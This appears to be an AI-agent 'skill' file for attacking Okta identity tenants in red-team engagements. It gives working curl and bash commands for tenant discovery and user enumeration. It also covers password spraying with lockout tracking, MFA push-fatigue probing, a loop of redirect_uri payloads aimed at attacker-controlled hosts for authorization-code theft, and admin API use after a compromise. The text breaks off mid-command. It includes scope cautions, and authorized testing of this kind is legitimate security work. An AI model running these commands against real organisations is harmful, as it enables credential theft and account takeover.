okta-attack – Writing & Content skill for AI agents

When to use this skill

Trigger when:

• DNS shows <tenant>.okta.com or <tenant>.okta-emea.com (EMEA region)
• Login flow redirects to <tenant>.okta.com/login or /app/<app_id>/sso/saml
• Web pages reference /signin/customize, oktapreview.com, or auth-js-sdk
• Recon notes "uses Okta for SSO"
• A target has *.okta.com SAN in TLS cert
• Identity-fabric mapping returns Okta as IdP for a corporate app

DO NOT use for:

• Entra ID (use m365-entra-attack instead)
• Google Workspace (use google-workspace-attack — not yet built)
• ADFS (different protocol, on-prem)

---

Tenant discovery

Direct guesses

# Tenant subdomains often match the brand
# Replace these with your target's actual tenant slug candidates:
for tenant in target-brand target-brand-ltd target-sister-brand target-brand-short target-other-variant; do
  for region in okta okta-emea oktapreview; do
    host="$tenant.$region.com"
    code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 8 --connect-timeout 8 "https://$host/")
    [ "$code" != "404" ] && [ "$code" != "000" ] && echo "  $host  $code"
  done
done

Cross-ref from DNS

# Look for CNAME records pointing to Okta
# Replace with your target's actual domains:
# Generate patterns list
cat > /tmp/okta_patterns.txt << 'EOF'
sso.client.example
login.client.example
auth.client.example
okta.client.example
sso.client-ltd.example
login.client-ltd.example
auth.client-ltd.example
okta.client-ltd.example
EOF

# Batch resolve with dnsx (concurrent, faster)
dnsx -silent -l /tmp/okta_patterns.txt -cname -resp-only

Cross-ref from app HTTP flow

# Visit corporate-app login, follow redirects
curl --max-time 30 --connect-timeout 10 -skL -o /dev/null -w "%{redirect_url}\n" "https://app.target.com/login"
# If redirects to <something>.okta.com → confirmed Okta tenant

---

User enumeration

Method 1 — /api/v1/authn differential

The auth API returns different errors for invalid users vs invalid passwords. Slightly differential.

# Probe single user — DON'T spray, this counts as auth attempt!
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://<tenant>.okta.com/api/v1/authn" \
  -H "Content-Type: application/json" \
  -d '{"username":"<email>","password":"_test_invalid_pw"}'

# Response codes:
#   401 + "errorCode":"E0000004" → invalid credentials (user exists OR doesn't — Okta unifies these)
#   401 + "errorCode":"E0000119" → account locked
#   200 → MFA prompt (cred VALID, MFA needed)
#   200 + "status":"SUCCESS" → full auth (rare in modern setups)

⚠ Okta has hardened against direct user-existence enum via /api/v1/authn — error message is typically uniform "Authentication failed". User enumeration via this endpoint is unreliable in 2024+.

Method 2 — /api/v1/users/me/factors timing

Some flows expose user existence via response time differential. Less reliable than M365 OneDrive technique.

Method 3 — Sign-in widget JS endpoint

curl --max-time 30 --connect-timeout 10 -sk "https://<tenant>.okta.com/api/v1/sessions/me" \
  -H "Accept: application/json"
# Response varies by tenant config

Method 4 — Org-specific identifier probing

Some Okta orgs use email-as-username; others use firstname.lastname or employee-id. Test pattern guesses:

[email protected]
[email protected]  
[email protected]
[email protected]

Method 5 — OIDC /v1/authorize with login_hint

# Tampering with login_hint param can reveal user existence on some configs
curl --max-time 30 --connect-timeout 10 -skI "https://<tenant>.okta.com/oauth2/v1/authorize?client_id=<id>&response_type=code&scope=openid&redirect_uri=https://example.com&login_hint=<email>"
# Different redirect → user exists vs doesn't

---

Authentication flow analysis (always do this first)

# Initial auth — observe what factors come back
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://<tenant>.okta.com/api/v1/authn" \
  -H "Content-Type: application/json" \
  -d '{"username":"<valid_user>","password":"_test_invalid_pw"}' | python3 -m json.tool

Response structure reveals factor configuration:

{
  "stateToken": "00ABC...",
  "factorResult": "WAITING",
  "status": "MFA_REQUIRED",
  "_embedded": {
    "factors": [
      {"factorType": "push", "provider": "OKTA"},
      {"factorType": "token:software:totp", "provider": "OKTA"},
      {"factorType": "sms", "provider": "OKTA"},
      {"factorType": "call", "provider": "OKTA"},
      {"factorType": "email", "provider": "OKTA"},
      {"factorType": "question", "provider": "OKTA"},
      {"factorType": "webauthn", "provider": "FIDO"}
    ]
  }
}

Critical insight: the factor list reveals which factors are available — phishing-resistance varies dramatically:

• webauthn (FIDO2) — phishing-resistant
• question (security questions) — extremely weak; KBA attacks
• sms / call — phishing-able (push notification fatigue, SIM swap)
• push — phishing-able via MFA fatigue
• email — phishing-able if attacker has email read access
• totp — phishing-able via AiTM

---

Password spray (with Okta-specific lockout discipline)

Lockout policy

Okta default: 10 failed sign-ins → lockout (configurable per-org). Some orgs configure much stricter (3 fails).

Discipline:

• ≤2 attempts per user lifetime per engagement (safer than 1 in Entra because Okta lockout is sometimes 3 fails)
• Track per-user in atomic state file
• Stop on first valid hit OR if LOCKED rate exceeds threshold

Spray endpoint

# Same /api/v1/authn — see authentication flow above

Status codes to watch for

| Response | Meaning |

|---|---|

| 200 status=MFA_REQUIRED | Password is VALID — MFA challenge waiting |

| 200 status=SUCCESS + sessionToken | Full auth (only if MFA not required for this user) |

| 200 status=PASSWORD_EXPIRED | Password is VALID but user must change it |

| 200 status=LOCKED_OUT | Account locked (pre-existing or our cause) |

| 401 E0000004 | Authentication failed (user doesn't exist OR wrong password — Okta unifies) |

| 401 E0000119 | User is locked |

| 429 | Rate-limit hit |

---

Push-notification fatigue (MFA bombing)

If a valid password is obtained and push factor is available, the classic attack: hammer the push factor until the user accepts out of fatigue.

⚠ OUT OF SCOPE in most red-team engagements (counts as social engineering / phishing — e.g. phishing was explicitly OOS for authorized-engagement). Document the vector existence but do not execute without explicit sign-off.

Detection-only check (does target allow it?)

# Initiate factor verification
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://<tenant>.okta.com/api/v1/authn/factors/<factor_id>/verify" \
  -H "Content-Type: application/json" \
  -d '{"stateToken":"<from_authn>"}'

# A real test would loop this — DON'T do that without explicit OK

---

OIDC redirect_uri tampering

Okta OIDC apps often have a list of allowed redirect_uri values. Misconfigurations:

# Get the app's authorize endpoint
curl --max-time 30 --connect-timeout 10 -sk "https://<tenant>.okta.com/.well-known/openid-configuration" | python3 -m json.tool

# Test redirect_uri injection
for ruri in \
    "https://attacker.example.com/" \
    "https://target.com.attacker.com/" \
    "https://[email protected]/" \
    "https://target.com#@attacker.com/" \
    "https://target.com\\@attacker.com/" \
    "//attacker.com/" \
    "https://target.com/cb?next=https://attacker.com/"; do
  code=$(curl --max-time 30 --connect-timeout 10 -sk -o /dev/null -w "%{http_code}" \
    "https://<tenant>.okta.com/oauth2/v1/authorize?client_id=<client>&response_type=code&scope=openid&redirect_uri=$(python3 -c "import urllib.parse;print(urllib.parse.quote('$ruri'))")")
  echo "  $ruri → $code"
done
# Any 302 with the attacker URL in Location header = open redirect → auth-code theft chain

---

SAML SP misconfiguration check (per-app)

Each Okta SAML app has its own SP metadata:

# Iterate known app IDs (find via the org's app list — usually in JS bundles or initial login redirects)
curl --max-time 30 --connect-timeout 10 -sk "https://<tenant>.okta.com/app/<app_id>/sso/saml/metadata"

# Look for:
#   AuthnRequestsSigned="false"  ← see hunt-saml for XSW
#   WantAssertionsSigned="false" ← assertion-replay possible
#   <NameIDFormat>...emailAddress</NameIDFormat>

---

Okta Admin API (post-cred-compromise)

If a valid cred + MFA-completed token is obtained:

# Get session token
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://<tenant>.okta.com/api/v1/authn" \
  -d '{"username":"...","password":"..."}'
# → if SUCCESS, response has sessionToken

# Exchange for API token (admin only)
# Test admin endpoints (all require valid SSWS token):
curl --max-time 30 --connect-timeout 10 -sk -H "Authorization: SSWS <token>" "htt

… (full content is in the download package)